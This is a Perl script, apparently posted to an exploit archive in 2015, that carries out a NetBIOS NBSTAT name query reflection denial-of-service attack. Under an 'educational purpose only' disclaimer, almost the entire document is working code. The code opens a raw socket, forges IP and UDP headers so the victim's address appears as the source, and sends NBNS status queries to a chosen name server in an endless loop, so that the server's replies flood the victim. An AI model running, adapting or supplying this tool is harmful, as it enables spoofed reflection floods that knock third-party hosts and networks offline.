NetBios NBSTAT name query reflection dos v2

#!/usr/bin/perl
#
#  NetBios NBSTAT name query reflection dos
#
#  Copyright 2015 (c) Todor Donev
#  todor.donev@gmail.com
#  http://www.ethical-hacker.org/
#  https://www.facebook.com/ethicalhackerorg
#
#  Disclaimer:
#  This or previous program is for Educational
#  purpose ONLY. Do not use it without permission.
#  The usual disclaimer applies, especially the
#  fact that Todor Donev is not liable for any
#  damages caused by direct or indirect use of the
#  information or functionality provided by these
#  programs. The author or any Internet provider
#  bears NO responsibility for content or misuse
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact
#  that any damage (dataloss, system crash,
#  system compromise, etc.) caused by the use
#  of these programs is not Todor Donev's
#  responsibility.
#
#  Use at your own risk and educational
#  purpose ONLY!
#
#  See also, UDP-based Amplification Attacks:
#  https://www.us-cert.gov/ncas/alerts/TA14-017A
#  http://www.rhyshaden.com/netbios.htm
#

use strict;
use Socket;
use warnings;
no warnings 'uninitialized';

if ( $< != 0 ) {
   print "Sorry, must be run as root!\n";
   print "This script use RAW Socket.\n";
   exit;
}

my $nbns            = (gethostbyname($ARGV[0]))[4];         # IP Address Destination        (32 bits)
my $victim          = (gethostbyname($ARGV[1]))[4];         # IP Address Source             (32 bits)

print "[ NetBios NBSTAT name query reflection ddos\n";
if (!defined $nbns || !defined $victim) {
    print "[ Usg: $0 <nbns src> <victim>\n";
    print "[ <todor.donev\@gmail.com> Todor Donev\n";
    exit;
}
print "[ Sending NBNS packets: $ARGV[0] -> $ARGV[1]\n";
socket(RAW, PF_INET, SOCK_RAW, 255) or die $!;
setsockopt(RAW, 0, 1, 1) or die $!;
main();

    # Main program
sub main {
    my $packet;

    $packet = iphdr();
    $packet .= udphdr();
    $packet .= nbnshdr();
    # b000000m...
    send_packet($packet);
}

    # IP header (Layer 3)
sub iphdr {
    my $ip_ver          = 4;                    # IP Version 4          (4 bits)
    my $iphdr_len       = 5;                    # IP Header Length      (4 bits)
    my $ip_tos          = 0;                    # Differentiated Services   (8 bits)
    my $ip_total_len    = $iphdr_len + 20;          # IP Header Length + Data   (16 bits)
    my $ip_frag_id      = 0;                    # Identification Field      (16 bits)
    my $ip_frag_flag    = 000;                  # IP Frag Flags (R DF MF)   (3 bits)
    my $ip_frag_offset  = 0000000000000;            # IP Fragment Offset        (13 bits)
    my $ip_ttl          = 255;                  # IP TTL            (8 bits)
    my $ip_proto        = 17;                   # IP Protocol           (8 bits)
    my $ip_checksum     = 0;                    # IP Checksum           (16 bits)

    # IP Packet
    my $iphdr   = pack(
            'H2 H2 n n B16 h2 c n a4 a4',
            $ip_ver . $iphdr_len, $ip_tos,
            $ip_total_len, $ip_frag_id,
            $ip_frag_flag . $ip_frag_offset,
            $ip_ttl, $ip_proto, $ip_checksum,
            $victim, $nbns
            );
            return $iphdr;
}

    # UDP Header (Layer 4)
sub udphdr {
    my $udp_src_port    = 31337;            # UDP Sort Port     (16 bits) (0-65535)
    my $udp_dst_port    = 137;              # UDP Dest Port     (16 btis) (0-65535)
    my $udp_len     = 8 + length(nbnshdr());    # UDP Length        (16 bits) (0-65535)
    my $udp_checksum    = 0;                # UDP Checksum      (16 bits) (XOR of header)

    # UDP Packet
    my $udphdr      = pack(
            'n n n n',
            $udp_src_port,
            $udp_dst_port,
            $udp_len,
            $udp_checksum
            );
    return $udphdr;
}

    # NetBios Name Service
sub nbnshdr {

    my $transid      = 0x03e8;
    my $namequery    = 0x0010;
    my $questions    = 0x0001;
    my $answerrr     = 0x0000;
    my $authrr       = 0x0000;
    my $adrr         = 0x0000;

    my $query        = "\x20\x43\x4b\x41\x41\x41\x41\x41\x41\x41\x41";
       $query       .= "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";
       $query       .= "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00";

    my $type        = 0x0021;
    my $class       = 0x0001;

    # NetBios packet
    my $nbnshdr     = pack(
                        'n n n n n n a* n n',
             $transid,
                         $namequery,
             $questions,
             $answerrr,
                         $authrr,
                         $adrr,
                         $query,
                         $type,
                         $class
            );
return $nbnshdr;
}

sub send_packet {
    while(1){
    select(undef, undef, undef, 0.30);          # Sleep 300 milliseconds
    send(RAW, $_[0], 0, pack('Sna4x8', AF_INET, 60, $nbns)) or die $!;
   }
}